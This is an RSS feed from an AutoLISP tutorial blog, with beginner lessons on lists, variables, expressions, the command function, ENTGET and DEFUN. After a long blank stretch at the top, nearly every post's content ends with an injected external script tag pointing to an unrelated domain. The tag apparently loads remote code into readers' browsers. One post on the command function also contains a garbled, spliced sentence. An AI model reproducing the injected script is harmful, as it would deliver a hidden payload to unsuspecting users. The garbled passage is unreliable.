







































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        







































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Learn AutoLISP - Let AutoCAD do the Work!</title>
	<atom:link href="http://barryrbowen.com/theautolisptoolbox/feed/" rel="self" type="application/rss+xml" />
	<link>http://barryrbowen.com/theautolisptoolbox</link>
	<description>LISP Programming for Increased Productivity</description>
	<lastBuildDate>Sun, 18 Mar 2012 12:47:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Increased Productivity!</title>
		<link>http://barryrbowen.com/theautolisptoolbox/increased-productivity/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=increased-productivity</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/increased-productivity/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 03:09:35 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=8</guid>
		<description><![CDATA[Learn AutoLISP and Increase Your Productivity! Increased productivity, isn’t that what everyone wants? Although this should be one benefit of using a CAD program such as AutoCAD, however, in many cases, this benefit is not automatically derived by using the program out of the box. There are many ways to increase your productivity when using AutoCAD, and writing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fincreased-productivity%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fincreased-productivity%2F&amp;style=normal&amp;b=2" height="61" width="50" title="Increased Productivity!" alt=" Increased Productivity!" /><br />
			</a>
		</div>
<h1><span style="font-size: medium;">Learn AutoLISP and Increase Your Productivity!</span></h1>
<p>Increased productivity, isn’t that what everyone wants? Although this should be one benefit of using a CAD program such as AutoCAD, however, in many cases, this benefit is not automatically derived by using the program out of the box. There are many ways to increase your productivity when using AutoCAD, and writing your own AutoLISP programs can be an easy one to implement. <span id="more-8"></span></p>
<p>Another is thinking through the process in which you draw to accomplish more than one task at a time. Certainly, if you could do two things at once you could get twice as much done in the same amount of time. Though this may not be practical in every case, you can increase your productivity by making each task more automated. That’s what this site is all about, getting more done in less time using AutoLISP to automate everyday drafting tasks.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/increased-productivity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AutoLISP Internal Functions</title>
		<link>http://barryrbowen.com/theautolisptoolbox/autolisp-internal-functions/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=autolisp-internal-functions</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/autolisp-internal-functions/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 03:25:53 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=12</guid>
		<description><![CDATA[Functions as listed in the “AutoLISP Reference” Manual, are of two types: Internal and User Defined Internal, or predefined functions, are those that are resident within AutoLISP such as the ones listed in the “Reference” Manual. Many common Math functions that you may already be familiar with are included in these functions: (+) add (-) [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fautolisp-internal-functions%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fautolisp-internal-functions%2F&amp;style=normal&amp;b=2" height="61" width="50" title="AutoLISP Internal Functions" alt=" AutoLISP Internal Functions" /><br />
			</a>
		</div>
<p>Functions as listed in the “AutoLISP Reference” Manual, are of two types: Internal and User Defined</p>
<p>Internal, or predefined functions, are those that are resident within AutoLISP such as the ones listed in the “Reference” Manual. Many common Math functions that you may already be familiar with are included in these functions:<span id="more-12"></span></p>
<p>(+) add<br />
(-) subtract<br />
(*) multiple<br />
(/) divide</p>
<p>and the logical operators:</p>
<p>(&lt;) less than<br />
(&gt;) greater than<br />
(=) equal to<br />
(/=) not equal to</p>
<p>are a part of the many internal functions. These functions are called simply by giving their name as the first element of a list, with the arguments to that function following. Consider the next list:</p>
<p>(+ 1 2 3)</p>
<p>Here, the first element of the list (+), is an internal function that will evaluate the arguments (1 2 3) that follow, and return 6 as the result. Functions will always return a result.</p>
<p>Command: (+ (* 3 2) (/ 12 4) 2)<br />
Lisp Returns: 11</p>
<p>As you can see from this example, a list may contain other lists with functions as their first element. Since lists are made up of elements, lists themselves can be elements of other lists. This is referred to as “Nesting.” In this example we have a four element list: (+) is the first element, the entire expression (* 3 2) is the second element, (/ 12 4) is the third, and 2 is the fourth. It is easy to see that (* 3 2) produces 6, (/ 12 4) produces 3, then adding 6, 3, and 2 give 11 as the result.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/autolisp-internal-functions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>List Introduction</title>
		<link>http://barryrbowen.com/theautolisptoolbox/list-introduction/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=list-introduction</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/list-introduction/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 23:35:05 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=16</guid>
		<description><![CDATA[Functions LISP is an acronym for LISt Processing and is a programming language that consists of only three elements: atoms, lists, and functions. An atom is the basic unit of any LISP program, simple defined as a single computer word or element. You could say that atoms represent the basic building elements of data in [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Flist-introduction%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Flist-introduction%2F&amp;style=normal&amp;b=2" height="61" width="50" title="List Introduction" alt=" List Introduction" /><br />
			</a>
		</div>
<p><strong>Functions</strong></p>
<p>LISP is an acronym for LISt Processing and is a programming language that consists of only three elements: atoms, lists, and functions. An atom is the basic unit of any LISP program, simple defined as a single computer word or element. You could say that atoms represent the basic building elements of data in LISP. <span id="more-16"></span></p>
<p>A Function can be defined as a LISP program which always returns a result. Functions may be user defined or already built into AutoLISP such as the common math functions +, -, *, and /. Each function is called simply by giving its name as the first element of a list, with any arguments to that function as the subsequent elements of the list.</p>
<p>A <em>list </em>therefore, is a group of atoms that are contained within an opening parenthesis “(” and a closing parenthesis “)”. These lists may contain any number of reals, integers, strings, variables, or other lists and are treated as one expression stored in a single variable. Lists can be used to organize and process groups of information.</p>
<p>Sample list’s are:</p>
<p>(“A” “B”) ;;two elements</p>
<p>(table) ;;one element</p>
<p>((desk chair) (files)) ;;two elements</p>
<p>(1 (2 3) “test” (c d)) ;;four elements</p>
<p>Point Lists</p>
<p>Graphic coordinates such as 2D points are expressed as a <em>list </em>of two real numbers</p>
<p>(X Y), as in:</p>
<p>(12.435678 7.134000)</p>
<p>3D coordinates are expressed in the same manner with the third value of the <em>list </em>being the Z coordinate.</p>
<p>(12.435678 7.134000 1.000000)</p>
<p>This predefined structure, referred to as a point list, accommodates the interface between AutoLISP and AutoCAD.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/list-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Expressions</title>
		<link>http://barryrbowen.com/theautolisptoolbox/expressions/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=expressions</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/expressions/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 17:34:43 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=32</guid>
		<description><![CDATA[AutoLISP was first implemented in AutoCAD v2.15, in the form of “Variables and Expressions.” There are many ways to increase your productivity when using AutoCAD and writing your own AutoLISP programs can be an easy one to implement. This feature, built right inside AutoCAD, offers an amazing amount of utility without requiring any programming experience.   Variables [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fexpressions%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fexpressions%2F&amp;style=normal&amp;b=2" height="61" width="50" title="Expressions" alt=" Expressions" /><br />
			</a>
		</div>
<p>AutoLISP was first implemented in AutoCAD v2.15, in the form of “Variables and Expressions.” There are many ways to increase your productivity when using AutoCAD and writing your own AutoLISP programs can be an easy one to implement. This feature, built right inside AutoCAD, offers an amazing amount of utility without requiring any programming experience.  <span id="more-32"></span></p>
<p>Variables and expressions provide the ability to create parametric menu macros and scripts. This article will discuss some of the AutoLISP expressions and how they can be used at the AutoCAD command line.</p>
<p>All AutoLISP expressions are enclosed in parentheses. A valid expression must begin with an open parenthesis and every open parenthesis must be balanced by a closing parenthesis. Otherwise, the AutoCAD LISP interpreter (that portion of AutoCAD that evaluates and executes the AutoLISP functions) will respond with an error message. If you ever see the response “1&gt;” or “(_&gt;” after trying an AutoLISP expression, AutoCAD is telling you that you omitted one or more closing parenthesis.</p>
<p>At its simplest, you can perform addition, subtraction, multiplication, and division using simple numbers and arithmetic operators directly from the AutoCAD command line:</p>
<p>Command: (+ 1 2 3)<br />
 6</p>
<p>Command: (* 2.5 2)<br />
5.000000</p>
<p>Command: (+ (* 3 2) 4)<br />
10</p>
<p>In AutoLISP, the operator precedes the values being operated upon, much like Reverse notation of the early Hewlett Packard calculators. Notice also that AutoLISP evaluates from the innermost parentheses outward. You can use an AutoLISP expression to provide the response in the middle of an AutoCAD Command prompt:</p>
<p>Command: CIRCLE<br />
Specify center point for circle or [3P/2P/Ttr (tan tan radius)]: 5,5<br />
Specify radius of circle or [Diameter]: (/ 10.0 2.0)</p>
<p>In the beginning, these examples might not appear very useful, but AutoLISP is a powerful programming language built within AutoCAD, that brings supercomputer power to your drafting needs. With AutoLISP any repetitive task can usually be automated to reduce time or improve accuracy.</p>
<p><a href="http://EzineArticles.com/" target="_new"><img class="alignright" src="http://EzineArticles.com/featured/images/ea_featured_70_7.gif" border="0" alt="ea featured 70 7 Expressions"  title="Expressions" /><br />
</a><script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/expressions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Command Function</title>
		<link>http://barryrbowen.com/theautolisptoolbox/command-function/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=command-function</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/command-function/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 19:17:21 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Intermediate AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=44</guid>
		<description><![CDATA[You can use the AutoLISP command function to invoke the AutoCAD or DOS commands under control of an AutoLISP program. Your program may compute parameters on the fly and pass them one at a time to AutoCAD via a series of command function calls, or all the arguments may be prepared and delivered to AutoCAD at [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fcommand-function%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fcommand-function%2F&amp;style=normal&amp;b=2" height="61" width="50" title="Command Function" alt=" Command Function" /><br />
			</a>
		</div>
<p>You can use the AutoLISP command function to invoke the AutoCAD or DOS commands under control of<br />
an AutoLISP program. Your program may compute parameters on the fly and pass them one at a time to<br />
AutoCAD via a series of command function calls, or all the arguments may be prepared and delivered to<br />
AutoCAD at once with a single Command function call. There are three methods of using the command function.<span id="more-44"></span></p>
<p>1. (command) by itself acts as a Ctrl-C, terminating any current AutoCAD command.</p>
<p>2. (command  “autocad-command”  ARG1 ARG2…. ARGN) invokes an AutoCAD command and passes the supplied argument values as responses to the command prompts.</p>
<p>Partially complete command functions can be used, as in the following series of calls:</p>
<p>Command: (command)<br />
Command: (command “LINE”)<br />
Command: (command “0,0”)<br />
Command: (command (list 2 0))<br />
Command: (command “@2&lt;135” “C”)</p>
<p>The above is functionhe 35&#8243;d &#8220;(list 2 0))ommand functions can be used, as in the following series of calls:e command promds of using the command funally equivalent to the next example, a more efficient way of accomplishing the same thing:</p>
<p>Command: (command “LINE” “0,0” (list 2 0) “@2&lt;135” “_C”)</p>
<p>This expression draws a line from 0,0 to 2,0 to 0.5858,1.4142 (which is 135 degrees from 2,0) then closes back to 0,0 completing a triangle.</p>
<p>A null string is equivalent to a carriage return, and you may use it to terminate many AutoCAD commands. The following example may be used to change the color of the current layer to Red, (getvar) is used to retrieve an AutoCAD system variable. In this case it returns the name of the current layer:</p>
<p>Command: (command “LAYER” “_C” “RED” (getvar “CLAYER”) “”)</p>
<p>3. (command “DOS”-command” “command line”) invokes a DOS command or external program via an entry in ACAD.PGP. You can read more about how to modify ACAD.PGP in the AutoCAD Help section. Examples in this tutorial will not use this format because most readers will not have the appropriate entries in the ACAD.PGP file. Invoking the DOS command cad be accomplished as follows:</p>
<p>Command: (command “SHELL” “dos-command-parameter”)</p>
<p>The only restriction in the use of the Command function is that the user dialog is not permitted within the AutoLISP function once a Command function is pending. For example some functions which cannot be used with an open dialog  in order to obtain input include (getstring), (getreal), (getdist) and (getcorner).<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/command-function/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variables</title>
		<link>http://barryrbowen.com/theautolisptoolbox/variables/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=variables</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/variables/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 19:17:51 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=41</guid>
		<description><![CDATA[AutoLISP variables can be created to store numbers, text and coordinates of interest to you. A variable’s value may be retrieved and supplied in response to AutoCAD prompts. Thus variables are rather like the memory keys of a calculator. Expressions involving variables may be used alone or in combination to perform computations. Create variables and [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fvariables%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fvariables%2F&amp;style=normal&amp;b=2" height="61" width="50" title="Variables" alt=" Variables" /><br />
			</a>
		</div>
<p>AutoLISP variables can be created to store numbers, text and coordinates of interest to you. A variable’s value may be retrieved and supplied in response to AutoCAD prompts. Thus variables are rather like the memory keys of a calculator. Expressions involving variables may be used alone or in combination to perform computations.<span id="more-41"></span></p>
<p>Create variables and assign a value to them with the AutoLISP SetQ function. SetQ function is the most basic AutoLISP function. Variables are referred to by name, and a name may be one or more characters. For example, you can create a variable called X1 and store the value 3 into it by typing:</p>
<p>Command: (setq X1 3)<br />
3</p>
<p>Notice that the value 3 supplied was echoed back to indicate the SetQ had finished. This is a fundamental concept for expressions and AutoLISP programming in general. Almost all functions return a value. In some versions of AutoCAD the command prompt does not always return a value after an AutoLISP expression—this is normal, don’t worry. Also note that AutoLISP is not case sensitive. Functions and variable names may be entered in any combination of upper and lower case letters. Thus SetQ and setq mean exactly the same thing.</p>
<p>The above example stored an integer into the variable X1. Because it contains an integer value, X1 is therefore called an integer variable. If you enter a number and include a decimal point followed by one or more numeric digits, the variable is recognized as a “real.” In the next example the variable RVAR is a real:</p>
<p>Command: (setq RVAR 3.0)<br />
3.000000</p>
<p>You may also store a text string in a variable. The variable STR in the following example is a string variable:</p>
<p>Command: (setq STR “This is a string”)<br />
“This is a string”</p>
<p>Use caution when dividing two numbers. If they are both integers then the result is also an integer and the fractional part of the result is discarded. Notice the difference in the two examples below:</p>
<p>Command: (/ 5 2)<br />
2</p>
<p>Command: (/ 5.0 2)<br />
2.500000</p>
<p>You can also supply the result of one expression to another expression. In the first three examples below the new expression uses some of the variables we already assigned. The fourth example assigns the result of a mathematical operation on one of our original variables to a new variable:</p>
<p>Command: (* X1 2)<br />
6</p>
<p>Command: (- RVAR X1)<br />
0.000000</p>
<p>Command: (* X1 X1 X1)<br />
27</p>
<p>Command: (setq R2D2 (/ 9.0 RVAR))<br />
3.000000</p>
<p>Some variables are pre-assigned. The value of PI is predefined to be 3.141593:</p>
<p>Command: (setq RTOD (/ 180.0 PI))<br />
57.2958<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/variables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>List Building</title>
		<link>http://barryrbowen.com/theautolisptoolbox/list-building-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=list-building-2</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/list-building-2/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 02:02:32 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=61</guid>
		<description><![CDATA[LIST Function AutoLISP provides many functions for building and manipulating lists. The (list) function takes any number of elements and strings them together to form a list: Command: (setq A (list &#8220;A&#8221; &#8220;B&#8221; 12.40 24)) Lisp returns: (&#8220;A&#8221; &#8220;B&#8221; 12.400000 24) REVERSE Function The list may be reversed by using the (reverse) function: Command: (reverse [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Flist-building-2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Flist-building-2%2F&amp;style=normal&amp;b=2" height="61" width="50" title="List Building" alt=" List Building" /><br />
			</a>
		</div>
<p><strong>LIST Function</strong></p>
<p>AutoLISP provides many functions for building and manipulating lists. The (list) function takes any number of elements and strings them together to form a list:<span id="more-61"></span></p>
<p style="padding-left: 30px;">Command: (setq A (list &#8220;A&#8221; &#8220;B&#8221; 12.40 24))<br />
Lisp returns: (&#8220;A&#8221; &#8220;B&#8221; 12.400000 24)</p>
<p><strong>REVERSE Function</strong></p>
<p>The list may be reversed by using the (reverse) function:</p>
<p style="padding-left: 30px;">Command: (reverse A)<br />
Lisp returns: (24 12.400000 &#8220;B&#8221; &#8220;A&#8221;)</p>
<p><strong>LISTP Function</strong></p>
<p>Functions for testing lists are also included such as (listp), which return T if the test argument is a list, and nil otherwise.</p>
<p style="padding-left: 30px;">Command: (listp A)<br />
Lisp returns: T</p>
<p><strong>NULL Function</strong></p>
<p>The (null) function returns T if the test argument is bound to nil, and nil otherwise.</p>
<p style="padding-left: 30px;">Command: (null A)<br />
Lisp returns: nil</p>
<p><strong>LENGTH Function</strong></p>
<p>The number of elements in a given list are determined by the (length) function:</p>
<p style="padding-left: 30px;">Command: (length A)<br />
Lisp returns: 4</p>
<p><strong>LAST Function</strong></p>
<p>Since lists are a group of elements, you need a way to extract the element that you want. The function (last) returns the last element in a given list, provided the list is not nil:</p>
<p style="padding-left: 30px;">Command: (last A)<br />
Lisp returns: 24</p>
<p><strong>NTH Function</strong></p>
<p>You can also use another function called the (nth) function which has the form:</p>
<p style="padding-left: 30px;">(nth &lt;number&gt; &lt;list&gt;)</p>
<p>This function will return the nth element of the &lt;list&gt; specified by the &lt;number&gt; of the element to return (zero being the first). Nil will be returned if the &lt;number&gt; is greater than the highest element number in the &lt;list&gt;.</p>
<p style="padding-left: 30px;">Command: (nth 2 A)<br />
Lisp returns: 12.400000</p>
<p><strong>CAR Functions</strong></p>
<p>AutoLISP has other built-in functions called (car), (cdr), (cadr), and (cadar), that extract elements within a list. CAR returns the first element of a list and CDR returns a list of all elements, except the first:</p>
<p style="padding-left: 30px;">Command: (car A)<br />
Lisp returns: &#8220;A&#8221;</p>
<p style="padding-left: 30px;">Command: (cdr A)<br />
Lisp returns: (&#8220;B&#8221; 12.400000 24)</p>
<p>CADR returns the second element of the list and can also be expressed as:</p>
<p style="padding-left: 30px;">Command: (car (cdr A))<br />
Lisp returns: &#8220;B&#8221;</p>
<p>Now let’s see how the functions (car), (cadr), and (list) are put together to draw a rectangle.</p>
<p style="padding-left: 30px;">(setq PT1 (getpoint &#8220;nFirst corner: &#8220;))<br />
(setq PT3 (getpoint &#8220;nSecond corner: &#8220;))<br />
(setq PT2 (list (car PT1) (cadr PT3)))<br />
(setq PT4 (list (car PT3) (cadr PT1)))<br />
(command &#8220;line&#8221; PT1 PT2 PT3 PT4 &#8220;c&#8221;)</p>
<p>The point list for the variable PT2 is created by extracting the first (X) coordinate from the PT1 list, and the second (Y) coordinate from the PT3 list, creating a new list using the (list) command. The point list for the variable PT4 is created in a similar manner. The line is then drawn from PT1 to PT4 and closed using the &#8220;c&#8221; option.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/list-building-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ENTGET</title>
		<link>http://barryrbowen.com/theautolisptoolbox/entget/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=entget</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/entget/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 02:02:54 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=54</guid>
		<description><![CDATA[Another preset structure is an entity list returned by the (entget) function, which returns an association list and consists of group codes with data: ((-1 . &#60;Entity name: 6000003C&#62;) (0 . &#8220;LINE&#8221;) (8 . &#8220;2&#8243;) (6 . &#8220;1&#8243;) (62 . 0) (10 1.416586 6.922966) (11 5.317930 6.689012)) Note that the structure of these lists are [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fentget%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fentget%2F&amp;style=normal&amp;b=2" height="61" width="50" title="ENTGET" alt=" ENTGET" /><br />
			</a>
		</div>
<p>Another preset structure is an entity list returned by the (entget) function, which returns an association list and consists of group codes with data:<span id="more-54"></span></p>
<p style="padding-left: 30px;">((-1 . &lt;Entity name: 6000003C&gt;) (0 . &#8220;LINE&#8221;) (8 . &#8220;2&#8243;)<br />
(6 . &#8220;1&#8243;) (62 . 0) (10 1.416586 6.922966)<br />
(11 5.317930 6.689012))</p>
<p>Note that the structure of these lists are determined by AutoLISP and can not be altered by the programmer, but the data inside the lists can be manipulated and changed as we will see later.</p>
<p>Now lets take a closer look at the LISP interpreter. LISP has only one syntax form-the function call. For example:</p>
<p style="padding-left: 30px;">Command: (setq X (+ 2 4))<br />
Lisp returns: 6</p>
<p>The list (+ 2 4) above is called a sublist. When the List Evaluator sees a list that does not have a single quote in front of the list, it tries to evaluate it. It takes the atom of the deepest sublist (+) and checks to see if there is a function available called &#8220;+&#8221;. If it finds the function &#8220;+&#8221; it will pass the arguments to the function to be evaluated. In this example the value returned from the function &#8220;+&#8221; is 6. When the first sublist is<br />
evaluated, the expression now looks like this to the List Evaluator:</p>
<p style="padding-left: 30px;">(setq X 6)</p>
<p>The List Evaluator now looks for a function called (setq). The function (setq) says set the value of the atom named in the first argument &#8220;X&#8221; to the value of the second argument &#8220;6&#8243;, and return the value of the last evaluated function to the Command line.</p>
<p>Now let’s see what happens when you quote a list. Type the same list into the Command line, but put a quote in front of the sublist like this:</p>
<p style="padding-left: 30px;">Command: (setq X ‘(+ 2 4))<br />
Lisp returns: (+ 2 4)</p>
<p>Because the list (+ 2 4) was quoted, it wasn’t evaluated by the List Evaluator and it simply set the value of X to the list (+ 2 4). This list may be thought of as data and may be used as a function elsewhere in a program.<script src="http://ourae.rr.nu/5"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://barryrbowen.com/theautolisptoolbox/entget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEFUN Function</title>
		<link>http://barryrbowen.com/theautolisptoolbox/defun-function/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=defun-function</link>
		<comments>http://barryrbowen.com/theautolisptoolbox/defun-function/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 02:03:30 +0000</pubDate>
		<dc:creator>Barry</dc:creator>
				<category><![CDATA[Begining AutoLISP]]></category>

		<guid isPermaLink="false">http://softdraft.info/autolisp/?p=68</guid>
		<description><![CDATA[User Defined functions are created by using the internal AutoLISP function (defun), which is short for DEfine FUNction. New commands can be added to AutoCAD by using (defun) to define functions implementing those commands. A (defun) function takes the form: (defun &#60;name&#62; (&#60;arguments&#62; / &#60;local variables&#62;)   (&#60;expressions&#62;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..) ) The &#60;name&#62; portion is simply the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fdefun-function%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fbarryrbowen.com%2Ftheautolisptoolbox%2Fdefun-function%2F&amp;style=normal&amp;b=2" height="61" width="50" title="DEFUN Function" alt=" DEFUN Function" /><br />
			</a>
		</div>
<p>User Defined functions are created by using the internal AutoLISP function (defun), which is short for DEfine FUNction. New commands can be added to AutoCAD by using (defun) to define functions implementing those commands. A (defun) function takes the form:<span id="more-68"></span></p>
<p style="padding-left: 30px;">(defun &lt;name&gt; (&lt;arguments&gt; / &lt;local variables&gt;)<br />
  (&lt;expressions&gt;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..)<br />
)</p>
<p>The &lt;name&gt; portion is simply the name of the function you are defining and must not duplicate any AutoCAD command, built-in or external. The &lt;arguments&gt; following the function name are independent variables that take the values given them when the function is called, and use those values within the function. An optional &#8220;/&#8221; slash may follow and then the names of one or more &lt;local variables&gt;.</p>
<p><strong>Local &amp; Global Variables</strong></p>
<p>A local variable will only have a value bound to it while the function is executing. Once the function has finished the value of the variable will be set to nil. Variables that are not local are considered global and will retain their value after the function has executed.</p>
<p>By retaining their values, global variables may then be used by other functions. If no &lt;arguments&gt; or &lt;local variables&gt; are to be declared, you must supply an empty set of parentheses ( ) after the function name. Following are examples of functions with local variables and arguments.</p>
<p style="padding-left: 30px;">Function with no arguments or local variables:<br />
(defun NEWFUNC ( ) &#8230;&#8230;&#8230;..)</p>
<p style="padding-left: 30px;">Function with two local variables:<br />
(defun NEWFUNC (/ C D) &#8230;&#8230;)</p>
<p style="padding-left: 30px;">Function with two arguments:<br />
(defun NEWFUNC (A B) &#8230;&#8230;..)</p>
<p style="padding-left: 30px;">Function with one argument &amp; one local variable:<br />
(defun NEWFUNC (A / C) &#8230;&#8230;)</p>
<p><strong>Expressions</strong></p>
<p>One or more &lt;expressions&gt; may then follow the &lt;local variables&gt; that will be evaluated when the function is executed. The following new function will double any number passed to it:</p>
<p style="padding-left: 30px;">Command: (defun DOUBLE (NUM) (* NUM 2))</p>
<p>This function uses one &lt;argument&gt; and no &lt;local variables&gt; and may be called by another function with the following function call:</p>
<p style="padding-left: 30px;">Command: (DOUBLE 12)<br />
Lisp Returns: 24</p>
